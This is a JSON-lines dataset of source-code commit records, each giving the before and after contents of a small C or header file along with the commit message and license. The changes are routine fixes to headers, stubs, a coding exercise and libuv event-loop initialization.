{"commit":"97ad6120c4d1d754486b845a77edc4e73eabcf39","old_file":"CS_143\/Router.h","new_file":"CS_143\/Router.h","old_contents":"\n\n#ifndef __CS_143__Router__\n#define __CS_143__Router__\n\n#include <string>\n#include \"Device.h\"\n\nclass Router : public Device\n{\npublic:\n    \/\/ Bellman-Ford\n    \/\/void updateRouting(Packet);\n    \n    \/\/ create static routing table\n    void addRouting(Packet);\n    \n    \/\/ add a link to the router\n    void addLink(std::string link_id);\n\n    \/\/ get proper routing given host id\n    std::string getRouting(std::string targ_host);\n    \n    \/\/ react to a packet event\n    void giveEvent(std::unique_ptr<PacketEvent>);\n\nprivate:\n    \/\/ Routing table maps destination host ids to link ids\n    std::map<std::string, std::string> routing_table;\n    \n    \/\/ All links connected to this router\n    std::vector<std::string> links;\n};\n\n\n#endif \/* defined(__CS_143__Router__) *\/\n","new_contents":"\n\n#ifndef __CS_143__Router__\n#define __CS_143__Router__\n\n#include <string>\n#include \"Device.h\"\n\nclass Router : public Device\n{\npublic:\n    \/\/ Bellman-Ford\n    \/\/void updateRouting(Packet);\n    \n    \/\/ create static routing table\n    void addRouting(Packet);\n    \n    \/\/ add a link to the router\n    void addLink(std::string link_id);\n\n    \/\/ get proper routing given host id\n    std::string getRouting(std::string targ_host);\n    \n    \/\/ react to a packet event\n    void giveEvent(std::unique_ptr<PacketEvent>);\n\nprivate:\n    \/\/ TODO: this could probably be an unordered_map\n    \/\/ Routing table maps destination host ids to link ids\n    std::map<std::string, std::string> routing_table;\n    \n    \/\/ All links connected to this router\n    std::vector<std::string> links;\n};\n\n\n#endif \/* defined(__CS_143__Router__) *\/\n","subject":"Add comment about unordered map","message":"Add comment about unordered map\n","lang":"C","license":"mit","repos":"zatricion\/NetSim,zatricion\/NetSim,zatricion\/NetSim,zatricion\/NetSim"}
{"commit":"cefaf9c58a58eeba6034ac1ad6f64086b7e4190b","old_file":"include\/DgospreyRevision.h","new_file":"include\/DgospreyRevision.h","old_contents":"\/* THIS FILE IS AUTOGENERATED - DO NOT EDIT *\/\n\n#ifndef DGOSPREY_REVISION_H\n#define DGOSPREY_REVISION_H\n\n#define DGOSPREY_REVISION \"git commit 8603d37 on 2015-01-21\"\n\n#endif \/\/ DGOSPREY_REVISION_H\n","new_contents":"\/* THIS FILE IS AUTOGENERATED - DO NOT EDIT *\/\n\n#ifndef DGOSPREY_REVISION_H\n#define DGOSPREY_REVISION_H\n\n#define DGOSPREY_REVISION \"git commit 660a43d on 2015-02-09\"\n\n#endif \/\/ DGOSPREY_REVISION_H\n","subject":"Test run successful after libmesh update","message":"Test run successful after libmesh update\n","lang":"C","license":"lgpl-2.1","repos":"lindsayad\/dgosprey-fork,lindsayad\/dgosprey-fork,lindsayad\/dgosprey-fork,aladshaw3\/dgosprey,aladshaw3\/dgosprey,aladshaw3\/dgosprey,aladshaw3\/dgosprey,lindsayad\/dgosprey-fork"}
{"commit":"8c0a9b8bc56ad4a3cc29f10ae747a7cd0f1eb531","old_file":"src\/guacenc\/image-stream.h","new_file":"src\/guacenc\/image-stream.h","old_contents":"\/*\n * Copyright (C) 2016 Glyptodon, Inc.\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n *\/\n\n#ifndef GUACENC_IMAGE_STREAM_H\n#define GUACENC_IMAGE_STREAM_H\n\n#include \"config.h\"\n\n\/**\n * The current state of an allocated Guacamole image stream.\n *\/\ntypedef struct guacenc_image_stream {\n\n    \/**\n     * STUB: Placeholder property. This property exists only so that the\n     * guacenc_image_stream struct can be defined prior to implementation.\n     *\/\n    int __PLACEHOLDER;\n\n} guacenc_image_stream;\n\n#endif\n\n","new_contents":"\/*\n * Copyright (C) 2016 Glyptodon, Inc.\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n *\/\n\n#ifndef GUACENC_IMAGE_STREAM_H\n#define GUACENC_IMAGE_STREAM_H\n\n#include \"config.h\"\n\n\/**\n * The current state of an allocated Guacamole image stream.\n *\/\ntypedef struct guacenc_image_stream {\n\n    \/**\n     * The index of the destination layer or buffer.\n     *\/\n    int index;\n\n    \/**\n     * The Guacamole protocol compositing operation (channel mask) to apply\n     * when drawing the image.\n     *\/\n    int mask;\n\n} guacenc_image_stream;\n\n#endif\n\n","subject":"Replace placeholder with required mask and index properties.","message":"GUAC-236: Replace placeholder with required mask and index properties.\n","lang":"C","license":"apache-2.0","repos":"apache\/guacamole-server,flangelo\/guacamole-server,glyptodon\/guacamole-server,mike-jumper\/incubator-guacamole-server,glyptodon\/guacamole-server,mike-jumper\/incubator-guacamole-server,flangelo\/guacamole-server,apache\/guacamole-server,apache\/guacamole-server,glyptodon\/guacamole-server,mike-jumper\/incubator-guacamole-server,mike-jumper\/incubator-guacamole-server,flangelo\/guacamole-server,flangelo\/guacamole-server"}
{"commit":"03aa62a6586db5c9065846140fd974de29fd363d","old_file":"TrustKit\/Reporting\/TSKPinFailureReport.h","new_file":"TrustKit\/Reporting\/TSKPinFailureReport.h","old_contents":"\/\/\n\/\/  TSKPinFailureReport.h\n\/\/  TrustKit\n\/\/\n\/\/  Created by Alban Diquet on 5\/27\/15.\n\/\/  Copyright (c) 2015 Data Theorem. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n@interface TSKPinFailureReport : NSObject\n\n@property (readonly) NSString *appBundleId;\n@property (readonly) NSString *appVersion;\n@property (readonly) NSString *notedHostname;\n@property (readonly) NSString *serverHostname;\n@property (readonly) NSNumber *serverPort;\n@property (readonly) NSDate *dateTime;\n@property (readonly) BOOL includeSubdomains;\n@property (readonly) NSArray *validatedCertificateChain;\n@property (readonly) NSArray *knownPins;\n\n\n\/\/ Init with default bundle ID and current time as the date-time\n- (instancetype) initWithAppBundleId:(NSString *) appBundleId appVersion:(NSString *)appVersion notedHostname:(NSString *)notedHostname serverHostname:(NSString *)serverHostname port:(NSNumber *)serverPort dateTime:(NSDate *)dateTime includeSubdomains:(BOOL) includeSubdomains validatedCertificateChain:(NSArray *)validatedCertificateChain knownPins:(NSArray *)knownPins;\n\n\/\/ Return the report in JSON format for POSTing it\n- (NSData *)json;\n\n\/\/ Return a request ready to be sent with the report in JSON format in the response's body\n- (NSMutableURLRequest *)requestToUri:(NSURL *)reportUri;\n\n\n@end\n","new_contents":"\/\/\n\/\/  TSKPinFailureReport.h\n\/\/  TrustKit\n\/\/\n\/\/  Created by Alban Diquet on 5\/27\/15.\n\/\/  Copyright (c) 2015 Data Theorem. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n@interface TSKPinFailureReport : NSObject\n\n@property (readonly, nonatomic) NSString *appBundleId; \/\/ Not part of the HPKP spec\n@property (readonly, nonatomic) NSString *appVersion; \/\/ Not part of the HPKP spec\n@property (readonly, nonatomic) NSString *notedHostname;\n@property (readonly, nonatomic) NSString *serverHostname;\n@property (readonly, nonatomic) NSNumber *serverPort;\n@property (readonly, nonatomic) NSDate *dateTime;\n@property (readonly, nonatomic) BOOL includeSubdomains;\n@property (readonly, nonatomic) NSArray *validatedCertificateChain;\n@property (readonly, nonatomic) NSArray *knownPins;\n\n\n\/\/ Init with default bundle ID and current time as the date-time\n- (instancetype) initWithAppBundleId:(NSString *) appBundleId appVersion:(NSString *)appVersion notedHostname:(NSString *)notedHostname serverHostname:(NSString *)serverHostname port:(NSNumber *)serverPort dateTime:(NSDate *)dateTime includeSubdomains:(BOOL) includeSubdomains validatedCertificateChain:(NSArray *)validatedCertificateChain knownPins:(NSArray *)knownPins;\n\n\/\/ Return the report in JSON format for POSTing it\n- (NSData *)json;\n\n\/\/ Return a request ready to be sent with the report in JSON format in the response's body\n- (NSMutableURLRequest *)requestToUri:(NSURL *)reportUri;\n\n\n@end\n","subject":"Switch to non atomic properties","message":"Switch to non atomic properties\n","lang":"C","license":"mit","repos":"datatheorem\/TrustKit,FredericJacobs\/TrustKit,FredericJacobs\/TrustKit,datatheorem\/TrustKit,CedarLogic\/TrustKit,CedarLogic\/TrustKit,FredericJacobs\/TrustKit,CedarLogic\/TrustKit,datatheorem\/TrustKit,datatheorem\/TrustKit"}
{"commit":"1c871b33812d0c7f22b0490593485f6d7d6f80d6","old_file":"src\/wordcounts.h","new_file":"src\/wordcounts.h","old_contents":"#ifndef __WORDCOUNTS_H__\n#define __WORDCOUNTS_H__\n\n#include <string>\n#include <map>\n#include <Rcpp.h>\n\ntypedef std::unordered_map<std::string, int> hashmap;\n\nclass WordCounts\n{\nprivate:\n    hashmap map;\n\npublic:\n\n    WordCounts();\n    ~WordCounts();\n\n    void print();\n\n    Rcpp::DataFrame as_data_frame();\n\n    void add_word(std::string);\n};\n\n\n#endif\n","new_contents":"#ifndef __WORDCOUNTS_H__\n#define __WORDCOUNTS_H__\n\n#include <string>\n#include <unordered_map>\n#include <Rcpp.h>\n\ntypedef std::unordered_map<std::string, int> hashmap;\n\nclass WordCounts\n{\nprivate:\n    hashmap map;\n\npublic:\n\n    WordCounts();\n    ~WordCounts();\n\n    void print();\n\n    Rcpp::DataFrame as_data_frame();\n\n    void add_word(std::string);\n};\n\n\n#endif\n","subject":"Replace include <map> with <unordered_map>","message":"Replace include <map> with <unordered_map>\n","lang":"C","license":"unlicense","repos":"zbwrnz\/zwc"}
{"commit":"f26f972cf79bc911fd3997d903128b7aac8b1677","old_file":"cbits\/h_iconv.c","new_file":"cbits\/h_iconv.c","old_contents":"#include \"h_iconv.h\"\n\n\/\/ Wrapper functions, since iconv_open et al are macros in libiconv.\niconv_t h_iconv_open(const char *tocode, const char *fromcode) {\n    return iconv_open(tocode, fromcode);\n}\n\nvoid h_iconv_close(iconv_t cd) {\n    iconv_close(cd);\n}\n\nsize_t h_iconv(iconv_t cd, char **inbuf, size_t *inbytesleft,\n                char **outbuf, size_t *outbytesleft) {\n    return iconv(cd, (void*)inbuf, inbytesleft, outbuf, outbytesleft);\n}\n","new_contents":"#include \"h_iconv.h\"\n\n\/\/ Wrapper functions, since iconv_open et al are macros in libiconv.\niconv_t h_iconv_open(const char *tocode, const char *fromcode) {\n    return iconv_open(tocode, fromcode);\n}\n\nvoid h_iconv_close(iconv_t cd) {\n    iconv_close(cd);\n}\n\nsize_t h_iconv(iconv_t cd, char **inbuf, size_t *inbytesleft,\n                char **outbuf, size_t *outbytesleft) {\n    \/\/ Cast inbuf to (void*) so that it works both on Solaris, which expects\n    \/\/ a (const char**), and on other platforms (e.g. Linux), which expect\n    \/\/ a (char **).\n    return iconv(cd, (void*)inbuf, inbytesleft, outbuf, outbytesleft);\n}\n","subject":"Add a comment explaining why iconv needs a (void*) for its parameter.","message":"Add a comment explaining why iconv needs a (void*) for its parameter.","lang":"C","license":"bsd-3-clause","repos":"judah\/haskeline,ghc\/packages-haskeline,leroux\/packages-haskeline,ghc\/packages-haskeline,judah\/haskeline"}
{"commit":"58e986af5cca1bce399680feacaf3d394700acc2","old_file":"host\/WProgram.h","new_file":"host\/WProgram.h","old_contents":"#ifndef WProgram_h\n#define WProgram_h\n\n#ifndef HOST_MIDIDUINO\n#define HOST_MIDIDUINO\n#endif\n\n#define _BV(i) (1 << (i))\n#define PSTR(s) (s)\n\n#define GUI_NUM_ENCODERS 4\n#define GUI_NUM_BUTTONS 4\n\n#define BUTTON_PRESSED(i) false\n#define BUTTON_RELEASED(i) false\n#define BUTTON_DOWN(i) false\n#define BUTTON_UP(i) true\n\n#include <stdio.h>\n\nvoid handleIncomingMidi();\n\n#define BOARD_ID 0x89\n#define SYSEX_BUF_SIZE 8192\n\n#define setLed()\n#define clearLed()\n#define setLed2()\n#define clearLed2()\n\n#define PROGMEM\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n#include <inttypes.h>\n#ifdef __cplusplus\n}\n#endif\n\n#include \"helpers.h\"\n\n\n#include \"WMath.h\"\n\n#define MIDIDUINO_HANDLE_SYSEX\n#include \"Midi.h\"\n#include \"MidiClock.h\"\n\n#include \"MidiUartHost.h\"\n#include \"GUI_private.h\"\n\nvoid hexDump(uint8_t *data, uint16_t len);\n\n#endif \/* WProgram_h *\/\n","new_contents":"#ifndef WProgram_h\n#define WProgram_h\n\n#ifndef HOST_MIDIDUINO\n#define HOST_MIDIDUINO\n#endif\n\n#define _BV(i) (1 << (i))\n#define PSTR(s) (s)\n\n#define GUI_NUM_ENCODERS 4\n#define GUI_NUM_BUTTONS 8\n\n#include <stdio.h>\n\nvoid handleIncomingMidi();\n\n#define BOARD_ID 0x89\n#define SYSEX_BUF_SIZE 8192\n\n#define setLed()\n#define clearLed()\n#define setLed2()\n#define clearLed2()\n\n#define PROGMEM\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n#include <inttypes.h>\n#ifdef __cplusplus\n}\n#endif\n\n#include \"helpers.h\"\n\n\n#include \"WMath.h\"\n\n#define MIDIDUINO_HANDLE_SYSEX\n#include \"Midi.h\"\n#include \"MidiClock.h\"\n\n#include \"MidiUartHost.h\"\n#include \"GUI_private.h\"\n\nvoid hexDump(uint8_t *data, uint16_t len);\n\n#endif \/* WProgram_h *\/\n","subject":"Fix number of buttons on the host and remove the placeholder macros","message":"Fix number of buttons on the host and remove the placeholder macros\n","lang":"C","license":"lgpl-2.1","repos":"wesen\/mididuino,wesen\/mididuino,wesen\/mididuino,wesen\/mididuino,wesen\/mididuino,wesen\/mididuino"}
{"commit":"9e868196a26d39cd38f1f2b07876ffcea5037076","old_file":"sql\/sqlite\/inc\/TSQLiteRow.h","new_file":"sql\/sqlite\/inc\/TSQLiteRow.h","old_contents":"\/\/ @(#)root\/sqlite:$Id$\n\/\/ Author: o.freyermuth <o.f@cern.ch>, 01\/06\/2013\n\n\/*************************************************************************\n * Copyright (C) 1995-2013, Rene Brun and Fons Rademakers.               *\n * All rights reserved.                                                  *\n *                                                                       *\n * For the licensing terms see $ROOTSYS\/LICENSE.                         *\n * For the list of contributors see $ROOTSYS\/README\/CREDITS.             *\n *************************************************************************\/\n\n#ifndef ROOT_TPgSQLRow\n#define ROOT_TPgSQLRow\n\n#ifndef ROOT_TSQLRow\n#include \"TSQLRow.h\"\n#endif\n\n#if !defined(__CINT__)\n#include <sqlite3.h>\n#else\nstruct sqlite3_stmt;\n#endif\n\n\nclass TSQLiteRow : public TSQLRow {\n\nprivate:\n   sqlite3_stmt *fResult;       \/\/ current result set\n   Bool_t        IsValid(Int_t field);\n\npublic:\n   TSQLiteRow(void *result, ULong_t rowHandle);\n   ~TSQLiteRow();\n\n   void        Close(Option_t *opt=\"\");\n   ULong_t     GetFieldLength(Int_t field);\n   const char *GetField(Int_t field);\n\n   ClassDef(TSQLiteRow,0)  \/\/ One row of SQLite query result\n};\n\n#endif\n","new_contents":"\/\/ @(#)root\/sqlite:\n\/\/ Author: o.freyermuth <o.f@cern.ch>, 01\/06\/2013\n\n\/*************************************************************************\n * Copyright (C) 1995-2013, Rene Brun and Fons Rademakers.               *\n * All rights reserved.                                                  *\n *                                                                       *\n * For the licensing terms see $ROOTSYS\/LICENSE.                         *\n * For the list of contributors see $ROOTSYS\/README\/CREDITS.             *\n *************************************************************************\/\n\n#ifndef ROOT_TSQLiteRow\n#define ROOT_TSQLiteRow\n\n#ifndef ROOT_TSQLRow\n#include \"TSQLRow.h\"\n#endif\n\n#if !defined(__CINT__)\n#include <sqlite3.h>\n#else\nstruct sqlite3_stmt;\n#endif\n\n\nclass TSQLiteRow : public TSQLRow {\n\nprivate:\n   sqlite3_stmt *fResult;       \/\/ current result set\n   Bool_t        IsValid(Int_t field);\n\npublic:\n   TSQLiteRow(void *result, ULong_t rowHandle);\n   ~TSQLiteRow();\n\n   void        Close(Option_t *opt=\"\");\n   ULong_t     GetFieldLength(Int_t field);\n   const char *GetField(Int_t field);\n\n   ClassDef(TSQLiteRow,0)  \/\/ One row of SQLite query result\n};\n\n#endif\n","subject":"Fix fatal typo in code guard","message":"Fix fatal typo in code guard\n","lang":"C","license":"lgpl-2.1","repos":"tc3t\/qoot,kirbyherm\/root-r-tools,tc3t\/qoot,tc3t\/qoot,Dr15Jones\/root,tc3t\/qoot,Dr15Jones\/root,tc3t\/qoot,Dr15Jones\/root,Dr15Jones\/root,tc3t\/qoot,kirbyherm\/root-r-tools,Dr15Jones\/root,kirbyherm\/root-r-tools,kirbyherm\/root-r-tools,tc3t\/qoot,tc3t\/qoot,kirbyherm\/root-r-tools,Dr15Jones\/root,Dr15Jones\/root,kirbyherm\/root-r-tools,kirbyherm\/root-r-tools,tc3t\/qoot,tc3t\/qoot"}
{"commit":"7bf1f1785e610d9d5148552963edb7b00ff77700","old_file":"src\/uri_judge\/begginer\/1098_sequence_ij_4.c","new_file":"src\/uri_judge\/begginer\/1098_sequence_ij_4.c","old_contents":"\/**\nhttps:\/\/www.urionlinejudge.com.br\/judge\/en\/problems\/view\/1098\n\nTODO:\nResolver a formatação da última impressão do loop.\nEstá:\nI=2.0 J=3.0\nI=2.0 J=4.0\nI=2.0 J=5.0\nMas deveria estar:\nI=2 J=3\nI=2 J=4\nI=2 J=5\n\n*\/\n\n#include <stdio.h>\n\nint main(){\n\n\tdouble i, j;\n\n\ti = 0;\n\tdo{\n\n\t\tfor (j = 1; j <= 3; j++){\n\t\t\tif (i == (int) i){\n\t\t\t\tprintf(\"I=%.0lf J=%.0lf\\n\", i, i+j);\n\t\t\t} else{\n\t\t\t\tprintf(\"I=%.1lf J=%.1lf\\n\", i, i+j);\n\t\t\t}\n\t\t}\n\n\t\ti += 0.2;\n\t\t\/\/printf(\"Finalizando loop... Double: %lf e Float: %d\\n\", (double) i, (int) i); \/\/ debug\n\t} while(i <= 2.0);\n\n\n    return 0;\n}","new_contents":"\/**\nhttps:\/\/www.urionlinejudge.com.br\/judge\/en\/problems\/view\/1098\n*\/\n\n#include <stdio.h>\n\nint main(){\n\n\tint i, j;\n\tfloat iR, jR;\n\n\tfor(i = 0; i <= 20; i += 2){\n\t\tfor (j = 10; j <= 30; j += 10){\n\n\t\t\tiR = (float) i\/10;\n\t\t\tjR = (float) (i+j)\/10;\n\n\t\t\tif (i % 10) printf(\"I=%.1f J=%.1f\\n\", iR, jR);\n\t\t\telse \t\tprintf(\"I=%.0f J=%.0f\\n\", iR, jR);\n\t\t\t\n\t\t}\n\t}\n\n    return 0;\n}","subject":"Fix bug and solves the sequence","message":"Fix bug and solves the sequence\n","lang":"C","license":"unknown","repos":"Mazuh\/MISC-Algs,Mazuh\/Algs,Mazuh\/Algs,Mazuh\/Algs,Mazuh\/Algs,Mazuh\/MISC-Algs,Mazuh\/MISC-Algs,Mazuh\/Algs,Mazuh\/MISC-Algs"}
{"commit":"1773c647646869de8a38d0c8820100d80ae5274a","old_file":"testmud\/mud\/home\/Text\/sys\/bin\/wiz\/tool\/ls.c","new_file":"testmud\/mud\/home\/Text\/sys\/bin\/wiz\/tool\/ls.c","old_contents":"","new_contents":"\/*\n * This file is part of Kotaka, a mud library for DGD\n * http:\/\/github.com\/shentino\/kotaka\n *\n * Copyright (C) 2012  Raymond Jennings\n *\n * This program is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as\n * published by the Free Software Foundation, either version 3 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU Affero General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n#include <kotaka\/paths.h>\n#include <kotaka\/log.h>\n#include <text\/paths.h>\n\ninherit LIB_WIZBIN;\n\nvoid main(string args)\n{\n\tmixed **dirinfo;\n\n\tdirinfo = proxy_call(\"get_dir\", args);\n\n\tsend_out(\"There are \" + sizeof(dirinfo[0]) + \" files there.\\n\");\n}\n","subject":"Add rudimentary directory listing command","message":"Add rudimentary directory listing command\n","lang":"C","license":"agpl-3.0","repos":"shentino\/kotaka,shentino\/kotaka,shentino\/kotaka"}
{"commit":"b612df775fe720c879ef2d2b28f49f7ae83b9c5d","old_file":"third-party\/bsp\/stmf4cube\/pdm_filter_stub.c","new_file":"third-party\/bsp\/stmf4cube\/pdm_filter_stub.c","old_contents":"","new_contents":"\/**\n * @file\n * @brief\n *\n * @author  Alexander Kalmuk\n * @date    24.08.2018\n *\/\n\n#include <assert.h>\n\n#include <stm32f4_discovery.h>\n\n#include <pdm_filter.h>\n\nvoid PDM_Filter_Init(PDMFilter_InitStruct * Filter) {\n\tassert(0);\n}\n\nint32_t PDM_Filter_64_MSB(uint8_t* data, uint16_t* dataOut,\n\t\tuint16_t MicGain, PDMFilter_InitStruct * Filter) {\n\tassert(0);\n\treturn -1;\n}\n\nint32_t PDM_Filter_64_LSB(uint8_t* data, uint16_t* dataOut,\n\t\tuint16_t MicGain, PDMFilter_InitStruct * Filter) {\n\tassert(0);\n\treturn -1;\n}\n","subject":"Add stub for PDM sound filter","message":"stm32f4: Add stub for PDM sound filter\n","lang":"C","license":"bsd-2-clause","repos":"embox\/embox,embox\/embox,embox\/embox,embox\/embox,embox\/embox,embox\/embox"}
{"commit":"38aacad3cb4842a267d2cd5a22d0e6439c0d37e6","old_file":"drivers\/auth\/mbedtls\/mbedtls_common.c","new_file":"drivers\/auth\/mbedtls\/mbedtls_common.c","old_contents":"\/*\n * Copyright (c) 2015-2017, ARM Limited and Contributors. All rights reserved.\n *\n * SPDX-License-Identifier: BSD-3-Clause\n *\/\n\n#include <debug.h>\n\n\/* mbed TLS headers *\/\n#include <mbedtls\/memory_buffer_alloc.h>\n#include <mbedtls\/platform.h>\n\n\/*\n * mbed TLS heap\n *\/\n#if (TF_MBEDTLS_KEY_ALG_ID == TF_MBEDTLS_ECDSA)\n#define MBEDTLS_HEAP_SIZE\t\t(14*1024)\n#elif (TF_MBEDTLS_KEY_ALG_ID == TF_MBEDTLS_RSA)\n#define MBEDTLS_HEAP_SIZE\t\t(6*1024)\n#endif\nstatic unsigned char heap[MBEDTLS_HEAP_SIZE];\n\n\/*\n * mbed TLS initialization function\n *\/\nvoid mbedtls_init(void)\n{\n\tstatic int ready;\n\n\tif (!ready) {\n\t\t\/* Initialize the mbed TLS heap *\/\n\t\tmbedtls_memory_buffer_alloc_init(heap, MBEDTLS_HEAP_SIZE);\n\n\t\t\/* Use reduced version of snprintf to save space. *\/\n\t\tmbedtls_platform_set_snprintf(tf_snprintf);\n\n\t\tready = 1;\n\t}\n}\n","new_contents":"\/*\n * Copyright (c) 2015-2017, ARM Limited and Contributors. All rights reserved.\n *\n * SPDX-License-Identifier: BSD-3-Clause\n *\/\n\n#include <debug.h>\n\n\/* mbed TLS headers *\/\n#include <mbedtls\/memory_buffer_alloc.h>\n#include <mbedtls\/platform.h>\n\n\/*\n * mbed TLS heap\n *\/\n#if (TF_MBEDTLS_KEY_ALG_ID == TF_MBEDTLS_ECDSA)\n#define MBEDTLS_HEAP_SIZE\t\t(14*1024)\n#elif (TF_MBEDTLS_KEY_ALG_ID == TF_MBEDTLS_RSA)\n#define MBEDTLS_HEAP_SIZE\t\t(7*1024)\n#endif\nstatic unsigned char heap[MBEDTLS_HEAP_SIZE];\n\n\/*\n * mbed TLS initialization function\n *\/\nvoid mbedtls_init(void)\n{\n\tstatic int ready;\n\n\tif (!ready) {\n\t\t\/* Initialize the mbed TLS heap *\/\n\t\tmbedtls_memory_buffer_alloc_init(heap, MBEDTLS_HEAP_SIZE);\n\n\t\t\/* Use reduced version of snprintf to save space. *\/\n\t\tmbedtls_platform_set_snprintf(tf_snprintf);\n\n\t\tready = 1;\n\t}\n}\n","subject":"Increase heapsize for mbedtls library","message":"Increase heapsize for mbedtls library\n\nThe mbedTLS library requires larger heap memory for verification of RSASSA-PSS\nsignature in certificates during Trusted Board Boot. This patch increases the\nheap memory for the same.\n\nChange-Id: I3c3123d7142b7b7b01463516ec436734895da159\nSigned-off-by: Soby Mathew <4d7af7c5c404e07961f9e1e79d6f17409c1d7db7@arm.com>\n","lang":"C","license":"bsd-3-clause","repos":"achingupta\/arm-trusted-firmware,lsigithub\/arm-trusted-firmware_public,lsigithub\/arm-trusted-firmware_public,achingupta\/arm-trusted-firmware"}
{"commit":"c58ad1fadf8452588badec5c236425aeba82c850","old_file":"runtime\/bin\/socket_base_fuchsia.h","new_file":"runtime\/bin\/socket_base_fuchsia.h","old_contents":"\/\/ Copyright (c) 2016, the Dart project authors.  Please see the AUTHORS file\n\/\/ for details. All rights reserved. Use of this source code is governed by a\n\/\/ BSD-style license that can be found in the LICENSE file.\n\n#ifndef RUNTIME_BIN_SOCKET_BASE_FUCHSIA_H_\n#define RUNTIME_BIN_SOCKET_BASE_FUCHSIA_H_\n\n#if !defined(RUNTIME_BIN_SOCKET_BASE_H_)\n#error Do not include socket_base_fuchsia.h directly. Use socket_base.h.\n#endif\n\n#include <arpa\/inet.h>\n#include <netdb.h>\n#include <sys\/socket.h>\n\n#endif  \/\/ RUNTIME_BIN_SOCKET_BASE_FUCHSIA_H_\n","new_contents":"\/\/ Copyright (c) 2016, the Dart project authors.  Please see the AUTHORS file\n\/\/ for details. All rights reserved. Use of this source code is governed by a\n\/\/ BSD-style license that can be found in the LICENSE file.\n\n#ifndef RUNTIME_BIN_SOCKET_BASE_FUCHSIA_H_\n#define RUNTIME_BIN_SOCKET_BASE_FUCHSIA_H_\n\n#if !defined(RUNTIME_BIN_SOCKET_BASE_H_)\n#error Do not include socket_base_fuchsia.h directly. Use socket_base.h.\n#endif\n\n#include <arpa\/inet.h>\n#include <netdb.h>\n#include <sys\/socket.h>\n#include <sys\/un.h>\n\n#endif  \/\/ RUNTIME_BIN_SOCKET_BASE_FUCHSIA_H_\n","subject":"Fix Unix domain socket headers for Fuchsia","message":"[dart:io] Fix Unix domain socket headers for Fuchsia\n\nChange-Id: I053b41e29184f5edb3d4f19573ead5124528f12c\nReviewed-on: https:\/\/dart-review.googlesource.com\/c\/sdk\/+\/140624\nReviewed-by: Zichang Guo <d26af3001798f91912fb1504666bca93c093d553@google.com>\nCommit-Queue: Jason Simmons <345008440c885d4763d50f58e545b9839f60f79f@google.com>\n","lang":"C","license":"bsd-3-clause","repos":"dart-lang\/sdk,dart-lang\/sdk,dart-lang\/sdk,dart-lang\/sdk,dart-lang\/sdk,dart-lang\/sdk,dart-lang\/sdk,dart-lang\/sdk"}
{"commit":"386d0f2cc405b3f65615f8d50d00ffcbb88c1a9d","old_file":"src\/event.c","new_file":"src\/event.c","old_contents":"#include \"event.h\"\n\n\n\nint init_event_system(void)\n{\n\tevent_loop = uv_loop_new();\n\treturn 1;\n}\n\n\nvoid cleanup_event_system(void)\n{\n\tlog_message(LOG_DEBUG, \"cleaning up event system!\\n\");\n\tuv_loop_close(event_loop);\n\tfree(event_loop);\n}\n\n\nvoid event_process(void)\n{\n\tlog_message(LOG_DEBUG, \"processing events!\\n\");\n\tuv_run(event_loop, UV_RUN_DEFAULT);\n}\n","new_contents":"#include \"event.h\"\n\n\n\nint init_event_system(void)\n{\n\tevent_loop = malloc(sizeof *event_loop);\n\tif (!event_loop) {\n\t    log_message(LOG_ERROR, \"Could not allocate memory for event loop\");\n\t    return 0;\n\t}\n\n        if (uv_loop_init(event_loop) < 0) {\n\t    log_message(LOG_ERROR, \"Could not initialize event loop\");\n\t    free(event_loop);\n\t    return 0;\n        }\n\n\treturn 1;\n}\n\n\nvoid cleanup_event_system(void)\n{\n\tlog_message(LOG_DEBUG, \"cleaning up event system!\\n\");\n\tuv_loop_close(event_loop);\n\tfree(event_loop);\n}\n\n\nvoid event_process(void)\n{\n\tlog_message(LOG_DEBUG, \"processing events!\\n\");\n\tuv_run(event_loop, UV_RUN_DEFAULT);\n}\n","subject":"Initialize loop using new API","message":"Initialize loop using new 